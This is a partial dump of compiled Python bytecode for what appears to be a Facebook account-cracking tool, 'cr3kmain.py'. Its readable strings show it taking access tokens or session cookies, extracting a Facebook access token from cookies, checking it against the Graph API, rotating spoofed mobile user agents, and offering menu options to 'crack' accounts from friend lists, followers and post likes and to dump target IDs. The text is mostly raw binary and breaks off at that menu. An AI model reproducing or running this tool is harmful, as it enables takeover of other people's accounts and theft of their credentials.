\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xc4\xb6\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02se\xb6\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x06\xb6\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xa7\xb5\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sH\xb5\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xe9\xb4\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x8a\xb4\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s+\xb4\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\xcc\xb3\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02sm\xb3\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00@\x00\x00\x00\xf3\t\x00\x00\x00d\x00Z\x00d\x01S\x00\t\xa9\x02s\x0e\xb3\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00@\x00\x00\x00\xf3\'\x03\x00\x00d\x00d\x01l\x00Z\x00d\x00d\x01l\x01Z\x01d\x00d\x01l\x02Z\x02d\x00d\x01l\x03Z\x03d\x00d\x01l\x04Z\x04d\x00d\x01l\x05Z\x05d\x00d\x01l\x06Z\x06d\x00d\x01l\x07Z\x07d\x00d\x01l\x08Z\x08d\x00d\x01l\tZ\td\x00d\x01l\nZ\nd\x00d\x01l\x0bZ\x0bd\x00d\x02l\x05m\x0cZ\x0c\x01\x00d\x00d\x03l\rm\x0eZ\x0f\x01\x00d\x00d\x04l\x01m\x10Z\x11\x01\x00d\x00d\x05l\x12m\x13Z\x13\x01\x00d\x00d\x06l\x12m\x12Z\x12\x01\x00d\x00d\x07l\x14m\x15Z\x15\x01\x00d\x08Z\x16d\tZ\x17d\nZ\x18d\x0bZ\x19d\x0cZ\x1ad\rZ\x1bd\x0bZ\x1cd\x0eZ\x1dd\x0fZ\x1eg\x00Z\x1fg\x00Z g\x00Z!e\x12\xa0"\xa1\x00Z#e#j$Z%e#j&Z\'e#j(Z)d\x10d\x11d\x12d\x13d\x14d\x15d\x16d\x17d\x18d\x19d\x1ad\x1bd\x1c\x9c\x0cZ*g\x00d\x1d\xa2\x01Z+z\x11e\'d\x00k\x00s\x95e\'d\x1ek\x04r\x98e,\x83\x00\x01\x00e\'d\x1f\x18\x00Z-W\x00n\x0c\x04\x00e.y\xa9\x01\x00\x01\x00\x01\x00e,\x83\x00\x01\x00Y\x00n\x01w\x00e+e-\x19\x00Z/d e)e/e%f\x03\x16\x00Z0d!Z1d"Z2d#Z3d$Z4d%Z5d&Z6d\'Z7d(Z8d)d*\x84\x00Z9d+d,\x84\x00Z:d-d.\x84\x00Z;d/d0\x84\x00Z<d1d2\x84\x00Z=d3d4\x84\x00Z>d5d6\x84\x00Z?d7d8\x84\x00Z@d9d:\x84\x00ZAd;d<\x84\x00ZBd=d>\x84\x00ZCd?d@\x84\x00ZDdAdB\x84\x00ZEdCdD\x84\x00ZFdEdF\x84\x00ZGdGdH\x84\x00ZHdIdJ\x84\x00ZIdKdL\x84\x00ZJdMdN\x84\x00ZKdOdP\x84\x00ZLdQdR\x84\x00ZMdSdT\x84\x00ZNdUdV\x84\x00ZOdWdX\x84\x00ZPdYdZ\x84\x00ZQG\x00d[d\\\x84\x00d\\\x83\x02ZRd]d^\x84\x00ZSd_d`\x84\x00ZTdadb\x84\x00ZUdcdd\x84\x00ZVdedf\x84\x00ZWdgdh\x84\x00ZXdidj\x84\x00ZYdkdl\x84\x00ZZdmdn\x84\x00Z[dodp\x84\x00Z\\dqdr\x84\x00Z]dsdt\x84\x00Z^z\x0bd\x00d\x01l\x00Z\x00e\x04\xa0_d.\xa1\x01\x01\x00W\x00n\x13\x04\x00e`\x90\x01y~\x01\x00\x01\x00\x01\x00eadu\x83\x01\x01\x00e\x04j\x03\xa0,\xa1\x00\x01\x00Y\x00n\x01w\x00ebdvk\x02\x90\x01r\x91e\x04\xa0_dw\xa1\x01\x01\x00e^\x83\x00\x01\x00e]\x83\x00\x01\x00d\x01S\x00d\x01S\x00\t\xa9x\xe9\x00\x00\x00\x00N)\x01\xda\x07randint)\x01\xda\x12ThreadPoolExecutor)\x01\xda\rBeautifulSoup)\x01\xda\x04date)\x01\xda\x08datetime)\x01\xda\x05quotez\x07\x1b[97;1mz\x07\x1b[91;1mz\x07\x1b[92;1mz\x07\x1b[93;1mz\x07\x1b[94;1mz\x07\x1b[95;1mz\x04\x1b[0m\xfa\x1bhttps://mbasic.facebook.com\xda\x07JANUARY\xda\x08FEBRUARY\xda\x05MARCH\xda\x05APRIL\xda\x03MAY\xda\x04JUNE\xda\x04JULY\xda\x06AUGUST\xda\tSEPTEMBER\xda\x07OCTOBER\xda\x08NOVEMBER\xda\x08DECEMBER)\x0c\xda\x0201\xda\x0202\xda\x0203\xda\x0204\xda\x0205\xda\x0206\xda\x0207\xda\x0208Z\x0209Z\x0210Z\x0211Z\x0212)\x0cr\x0b\x00\x00\x00r\x0c\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00r\x0f\x00\x00\x00r\x10\x00\x00\x00r\x11\x00\x00\x00r\x12\x00\x00\x00r\x13\x00\x00\x00r\x14\x00\x00\x00r\x15\x00\x00\x00r\x16\x00\x00\x00\xe9\x0c\x00\x00\x00\xe9\x01\x00\x00\x00z\x08%s-%s-%sz\xccMozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]z{nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+z\xbcMozilla/5.0 (Linux; Android 5.0; ASUS_Z00AD Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]z\xc1Mozilla/5.0 (Linux; Android 8.1.0; HUAWEI Y7 PRIME 2019 Build/5887208) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]z\xa5Mozilla/5.0 (Linux; Android 11; vivo 1918) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]z\xa4Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]z\xbaMozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/35.0.0.48.273;]z\x98Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00\xf32\x00\x00\x00|\x00d\x01\x17\x00D\x00]\x12}\x01t\x00j\x01\xa0\x02|\x01\xa1\x01\x01\x00t\x00j\x01\xa0\x03\xa1\x00\x01\x00t\x04\xa0\x05d\x02\xa1\x01\x01\x00q\x04d\x00S\x00)\x03N\xda\x01\ng{\x14\xaeG\xe1z\xa4?\xa9\x06\xda\x03sys\xda\x06stdout\xda\x05write\xda\x05flush\xda\x04time\xda\x05sleep\xa9\x02\xda\x01z\xda\x01e\xa9\x00r-\x00\x00\x00\xfa\x0bcr3kmain.py\xda\x05jalan9\x00\x00\x00\xf3\n\x00\x00\x00\x0c\x01\x0c\x01\n\x01\x0c\x01\x04\xfdr/\x00\x00\x00c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00r!\x00\x00\x00)\x03Nr"\x00\x00\x00g\xb8\x1e\x85\xebQ\xb8\x9e?r#\x00\x00\x00r*\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\x05mlaku>\x00\x00\x00r0\x00\x00\x00r1\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00sF\x00\x00\x00d\x01t\x00j\x01\xa0\x02\xa1\x00v\x00r\x0et\x03\xa0\x04d\x02\xa1\x01\x01\x00d\x00S\x00d\x03t\x00j\x01\xa0\x02\xa1\x00v\x00r\x1ct\x03\xa0\x04d\x04\xa1\x01\x01\x00d\x00S\x00t\x03\xa0\x04d\x02\xa1\x01\x01\x00d\x00S\x00)\x05NZ\x05linux\xda\x05clear\xda\x03win\xda\x03cls)\x05r$\x00\x00\x00\xda\x08platform\xda\x05lower\xda\x02os\xda\x06systemr-\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00r2\x00\x00\x00E\x00\x00\x00s\x06\x00\x00\x00\x1c\x01\x1c\x01\x0e\x01r2\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00s \x00\x00\x00t\x00\xa0\x01d\x01\xa1\x01\x01\x00t\x00\xa0\x01d\x02\xa1\x01\x01\x00t\x02d\x03\x83\x01\x01\x00d\x00S\x00)\x04Nr2\x00\x00\x00u\xbb\x04\x00\x00echo "\n\n \xe2\x96\x84\xe2\x96\x84\xe2\x96\x84 \xe2\x96\x92\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x93 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84 \xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x93\n \xe2\x96\x92\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84 \xe2\x96\x92 \xe2\x96\x92 \xe2\x96\x92 \xe2\x96\x84\xe2\x96\x80\xe2\x96\x91\xe2\x96\x93\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\xe2\x96\x93\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\xe2\x96\x80\xe2\x96\x88\xe2\x96\x80 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\n \xe2\x96\x92\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x80\xe2\x96\x88\xe2\x96\x84 \xe2\x96\x91 \xe2\x96\x92 \xe2\x96\x84\xe2\x96\x80\xe2\x96\x92\xe2\x96\x91 \xe2\x96\x92\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\xe2\x96\x93\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x93\xe2\x96\x88\xe2\x96\x88\xe2\x96\x91\n \xe2\x96\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x84\xe2\x96\x80\xe2\x96\x92 \xe2\x96\x91\xe2\x96\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x91\xe2\x96\x92\xe2\x96\x88\xe2\x96\x88 \xe2\x96\x92\xe2\x96\x88\xe2\x96\x88 \n \xe2\x96\x93\xe2\x96\x88 \xe2\x96\x93\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\xe2\x96\x92\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\xe2\x96\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x91\xe2\x96\x92\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92 \xe2\x96\x91\xe2\x96\x88\xe2\x96\x88\xe2\x96\x92\n \xe2\x96\x92\xe2\x96\x92 \xe2\x96\x93\xe2\x96\x92\xe2\x96\x88\xe2\x96\x91\xe2\x96\x91\xe2\x96\x92\xe2\x96\x92 \xe2\x96\x93\xe2\x96\x91\xe2\x96\x92\xe2\x96\x91\xe2\x96\x92\xe2\x96\x91\xe2\x96\x93 \xe2\x96\x91 \xe2\x96\x92\xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91\n \xe2\x96\x92 \xe2\x96\x92\xe2\x96\x92 \xe2\x96\x91\xe2\x96\x91\xe2\x96\x91\xe2\x96\x92 \xe2\x96\x92 \xe2\x96\x91 \xe2\x96\x92 \xe2\x96\x92 \xe2\x96\x91\xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91\n \xe2\x96\x91 \xe2\x96\x92 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x92 \xe2\x96\x91\xe2\x96\x91 \xe2\x96\x91 \n \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \xe2\x96\x91 \n \xe2\x96\x91 \n\n\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x97\n\xe2\x95\x91 Author : ☆ RAKA ☆ ™︻®╤───────═◍➤ \xe2\x95\x91\n\xe2\x95\x91 Github : https://github.com/Bangsat-XD \xe2\x95\x91 \n\xe2\x95\x91 Fb : https://me.fb/AA.RAKA2708 \xe2\x95\x91 \n\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d" | lolcat -a -d 2 -s 50\xda\x00)\x03r7\x00\x00\x00r8\x00\x00\x00\xda\x05printr-\x00\x00\x00r-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00\xda\x06bannerL\x00\x00\x00s\x06\x00\x00\x00\n\x01\n\x01\x0c\x01r;\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x00\x00\x0c\x00\x00\x00C\x00\x00\x00s\xd0\x02\x00\x00t\x00\xa0\x01d\x01\xa1\x01\x01\x00t\x02\x83\x00\x01\x00t\x03\x83\x00\x01\x00t\x04\x83\x00\x01\x00t\x05d\x02t\x06t\x07t\x06t\x08f\x04\x16\x00\x83\x01}\x00t\td\x03\x83\x01\x01\x00|\x00d\x04v\x00r/t\nd\x05t\x0bt\x07t\x0bt\x07f\x04\x16\x00\x83\x01\x01\x00t\x0c\x83\x00\x01\x00d\x00S\x00|\x00d\x06v\x00r\xa7t\r\x83\x00\x01\x00t\x05d\x07t\x06t\x07t\x06t\x08f\x04\x16\x00\x83\x01}\x01z(t\x0e\xa0\x0fd\x08|\x01\x17\x00\xa1\x01}\x02t\x10\xa0\x11|\x02j\x12\xa1\x01}\x03|\x03d\t\x19\x00}\x04t\x13d\nd\x0b\x83\x02}\x05|\x05\xa0\x14|\x01\xa1\x01\x01\x00|\x05\xa0\x15\xa1\x00\x01\x00t\x16t\x17\xa0\x18\xa1\x00\x83\x01\x01\x00W\x00d\x00S\x00\x04\x00t\x19t\x1af\x02y\x8a\x01\x00\x01\x00\x01\x00t\td\x03\x83\x01\x01\x00t\nd\x0ct\x0bt\x07t\x0bt\x07f\x04\x16\x00\x83\x01\x01\x00t\x00\xa0\x01d\x01\xa1\x01\x01\x00t\x0c\x83\x00\x01\x00Y\x00d\x00S\x00\x04\x00t\x0ej\x1bj\x1cy\xa6\x01\x00\x01\x00\x01\x00t\td\x03\x83\x01\x01\x00t\nd\rt\x0bt\x07t\x0bt\x07f\x04\x16\x00\x83\x01\x01\x00t\x16\x83\x00\x01\x00Y\x00d\x00S\x00w\x00|\x00d\x0ev\x00\x90\x01r=t\r\x83\x00\x01\x00t\x05d\x0ft\x06t\x07t\x06t\x08f\x04\x16\x00\x83\x01}\x06zBt\x0ej\x0fd\x10d\x11d\x12d\x13d\x14d\x15d\x16d\x17d\x18d\x19d\x1a\x9c\td\x1b|\x06i\x01d\x1c\x8d\x03}\x07t\x1d\xa0\x1ed\x1d|\x07j\x12\xa1\x02}\x08|\x08d\x00u\x00r\xdbd\x1en\x06d\x1f|\x08\xa0\x1fd \xa1\x01\x17\x00}\tt\x13d\nd\x0b\x83\x02}\x05|\x05\xa0\x14|\x08\xa0\x1fd \xa1\x01\xa1\x01\x01\x00|\x05\xa0\x15\xa1\x00\x01\x00t\x16t\x17\xa0\x18\xa1\x00\x83\x01\x01\x00W\x00d\x00S\x00\x04\x00t\x0ej\x1bj\x1c\x90\x01y\x19\x01\x00\x01\x00\x01\x00t\td\x03\x83\x01\x01\x00t\nd\rt\x0bt\x07t\x0bt\x07f\x04\x16\x00\x83\x01\x01\x00t\x16\x83\x00\x01\x00Y\x00d\x00S\x00\x04\x00t\x19t\x1at f\x03\x90\x01y<\x01\x00\x01\x00\x01\x00t\td\x03\x83\x01\x01\x00t\nd!t\x0bt\x07t\x0bt\x07f\x04\x16\x00\x83\x01\x01\x00t\x00\xa0\x01d\x01\xa1\x01\x01\x00t\x0c\x83\x00\x01\x00Y\x00d\x00S\x00w\x00|\x00d"v\x00\x90\x01rYt\nd#t\x06t\x07t\x06t\x08f\x04\x16\x00\x83\x01\x01\x00t\x00\xa0\x01d\x01\xa1\x01\x01\x00t\x02\x83\x00\x01\x00t\x16\x83\x00\x01\x00d\x00S\x00t\nd\x05t\x0bt\x07t\x0bt\x07f\x04\x16\x00\x83\x01\x01\x00t\x0c\x83\x00\x01\x00d\x00S\x00)$N\xfa\x10rm -rf token.txtu\x1a\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sCHOOSE : r9\x00\x00\x00\xa9\x01r9\x00\x00\x00\xfa!%s [%s!%s] %sSELECT VALID OPTION\xa9\x04\xda\x011r\x17\x00\x00\x00\xda\x03001\xda\x01au\x18\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sTOKEN : \xfa+https://graph.facebook.com/me?access_token=\xda\x04name\xfa\ttoken.txt\xda\x01wz\x1b%s [%s!%s] %sTOKEN INVALID\xfa %s [%s!%s] %sCONNECTION PROBLEM\xa9\x04\xda\x012r\x18\x00\x00\x00\xda\x03002\xda\x01bu\x1a\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sCOOKIES : zGhttps://m.facebook.com/composer/ocelot/async_loader/?publisher=feed#_=_z\x8eMozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.86 Mobile Safari/537.36z\x17https://m.facebook.com/z\x0em.facebook.comz\x16https://m.facebook.comr@\x00\x00\x00\xfa#id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7\xfa\tmax-age=0\xfaUtext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8z\x18text/html; charset=utf-8)\t\xfa\nuser-agent\xda\x07referer\xda\x04host\xda\x06origin\xfa\x19upgrade-insecure-requests\xfa\x0faccept-language\xfa\rcache-control\xda\x06accept\xfa\x0ccontent-type\xda\x06cookie)\x02\xda\x07headers\xda\x07cookiesz\t(EAAA\\w+)z&\n* Fail : maybe your cookie invalid !!z\x1a\n* Your fb access token : r \x00\x00\x00z\x1d%s [%s!%s] %sINVALID COOKIES)\x04\xda\x010\xda\x0200\xda\x03000r,\x00\x00\x00z(%s [%s!%s] %sTHANKS FOR USING THIS TOOL)!r7\x00\x00\x00r8\x00\x00\x00r2\x00\x00\x00r;\x00\x00\x00\xda\x08var_menu\xda\x05input\xda\x01H\xda\x01P\xda\x01Or:\x00\x00\x00r/\x00\x00\x00\xda\x01M\xda\x08menu_log\xda\tdefaultua\xda\x08requests\xda\x03get\xda\x04json\xda\x05loads\xda\x04text\xda\x04openr&\x00\x00\x00\xda\x05close\xda\x04exit\xda\x03bot\xda\x04main\xda\x08KeyError\xda\x07IOError\xda\nexceptions\xda\x0fConnectionError\xda\x02re\xda\x06search\xda\x05group\xda\x0eAttributeError)\n\xda\x03pmu\xda\x05token\xda\x01x\xda\x01y\xda\x01nZ\x02xdrX\x00\x00\x00\xda\x04dataZ\nfind_token\xda\x05hasilr-\x00\x00\x00r-\x00\x00\x00r.\x00\x00\x00rd\x00\x00\x00R\x00\x00\x00s\x8e\x00\x00\x00\n\x01\x06\x01\x06\x01\x06\x01\x14\x01\x08\x01\x08\x01\x14\x01\n\x01\x08\x01\x06\x01\x14\x01\x02\x01\x0e\x01\x0c\x01\x08\x01\n\x01\n\x01\x08\x01\x12\x03\x10\x02\x08\x01\x14\x01\n\x01\x0c\x01\x10\x01\x08\x01\x14\x01\x0c\x01\x02\xfd\n\x04\x06\x01\x14\x01\x02\x01\x06\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x04\xf7\x04\x0b\x02\xff\x06\xf6\x0e\r\x1a\x01\n\x01\x10\x01\x08\x01\x12\x03\x12\x02\x08\x01\x14\x01\x0c\x01\x14\x01\x08\x01\x14\x01\n\x01\x0c\x01\x02\xfc\n\x05\x14\x01\n\x01\x06\x01\n\x01\x14\x02\n\x01rd\x00\x00\x00c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\t\x00\x00\x00C\x00\x00\x00s\xe6\x02\x00\x00t\x00\x83\x00\x01\x00t\x01\x83\x00\x01\x00z&d\x01}\x00d\x01}\x01d\x01}\x02t\x02d\x02d\x03\x83\x02\xa0\x03\xa1\x00}\x03t\x04\xa0\x05d\x04|\x03\x17\x00\xa1\x01}\x04t\x06\xa0\x07|\x04j\x08\xa1\x01}\x05|\x05d\x05\x19\x00\xa0\t\xa1\x00}\x06|\x05d\x06\x19\x00}\x07W\x00nT\x04\x00t\nt\x0bf\x02yY\x01\x00\x01\x00\x01\x00t\x0cd\x07t\rt\x0et\rt\x0ef\x04\x16\x00\x83\x01\x01\x00t\x0cd\x08t\r\x16\x00\x83\x01\x01\x00t\x0fd\tt\rt\x0et\rt\x0ef\x04\x16\x00\x83\x01\x01\x00t\x10\xa0\x11d\n\xa1\x01\x01\x00t\x12\x83\x00\x01\x00Y\x00n(\x04\x00t\x04j\x13j\x14y\x80\x01\x00\x01\x00\x01\x00t\x0cd\x07t\rt\x0et\rt\x0ef\x04\x16\x00\x83\x01\x01\x00t\x0cd\x08t\r\x16\x00\x83\x01\x01\x00t\x0fd\x0bt\rt\x0et\rt\x0ef\x04\x16\x00\x83\x01\x01\x00t\x15\x83\x00\x01\x00Y\x00n\x01w\x00t\x04j\x05d\x0cd\rd\x0ed\x0fd\x10\x9c\x03d\x11\x8d\x02\xa0\x06\xa1\x00}\x08z\x06|\x08d\x12\x19\x00}\tW\x00n\x0b\x04\x00t\ny\x9f\x01\x00\x01\x00\x01\x00d\x13}\tY\x00n\x01w\x00t\x0cd\x14t\x16t\x17t\x18|\x06t\x16f\x05\x16\x00\x83\x01\x01\x00t\x0cd\x01\x83\x01\x01\x00t\x0cd\x15t\x18t\x0et\x18t\x16t\x19|\x07f\x06\x16\x00\x83\x01\x01\x00t\x0cd\x16t\x18t\x0et\x18t\x16t\x18|\tf\x06\x16\x00\x83\x01\x01\x00t\x0cd\x01\x83\x01\x01\x00t\x10\xa0\x11d\x17\xa1\x01\x01\x00t\x0cd\x18t\x16t\x0et\x16t\rf\x04\x16\x00\x83\x01\x01\x00t\x1ad\x19t\x18t\x0et\x18t\x16f\x04\x16\x00\x83\x01}\nt\x0cd\x01\x83\x01\x01\x00|\nd\x1av\x00r\xfbt\x0fd\x1bt\rt\x0et\rt\x0ef\x04\x16\x00\x83\x01\x01\x00t\x1b\x83\x00\x01\x00d\x00S\x00|\nd\x1cv\x00\x90\x01r\x05t\x1c\x83\x00\x01\x00d\x00S\x00|\nd\x1dv\x00\x90\x01r\x0ft\x1d\x83\x00\x01\x00d\x00S\x00|\nd\x1ev\x00\x90\x01r\x19t\x1e\x83\x00\x01\x00d\x00S\x00|\nd\x1fv\x00\x90\x01r#t\x1f\x83\x00\x01\x00d\x00S\x00|\nd v\x00\x90\x01r-t \x83\x00\x01\x00d\x00S\x00|\nd!v\x00\x90\x01r7t!\x83\x00\x01\x00d\x00S\x00|\nd"v\x00\x90\x01rAt"\x83\x00\x01\x00d\x00S\x00|\nd#v\x00\x90\x01rKt#\x83\x00\x01\x00d\x00S\x00|\nd$v\x00\x90\x01rdt\x0fd%t\x18t\x0et\x18t\x16f\x04\x16\x00\x83\x01\x01\x00t\x10\xa0\x11d\n\xa1\x01\x01\x00t\x12\x83\x00\x01\x00d\x00S\x00t\x0fd\x1bt\rt\x0et\rt\x0ef\x04\x16\x00\x83\x01\x01\x00t\x1b\x83\x00\x01\x00d\x00S\x00)&Nr9\x00\x00\x00rE\x00\x00\x00\xda\x01rrC\x00\x00\x00rD\x00\x00\x00\xda\x02idz\x18%s [ %sOopc... :( %s]%s\xfa\x04%s \xfa#%s [%s!%s] %sINVALID TOKEN/COOKIESr<\x00\x00\x00rG\x00\x00\x00z\x17http://ip-api.com/json/z\x12http://ip-api.com/z\x1fapplication/json; charset=utf-8z\xcbMozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;])\x03Z\x07Refererz\x0cContent-Typez\nUser-Agent\xa9\x01rY\x00\x00\x00Z\x05query\xfa\x01 z\x1b%s [ %sHELLO :)%s %s %s]u\x1b\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sID : %s[%s]u\x1b\x00\x00\x00%s [%s\xe2\x80\xa2%s] %sIP : %s[%s]a\x12\x01\x00\x00echo " [1] CRACK FROM FRIEND/PUBLIC ID\n [2] CRACK FROM FOLLOWER\n [3] CRACK FROM PUBLIC POST LIKES\n [4] DUMP TARGET ID 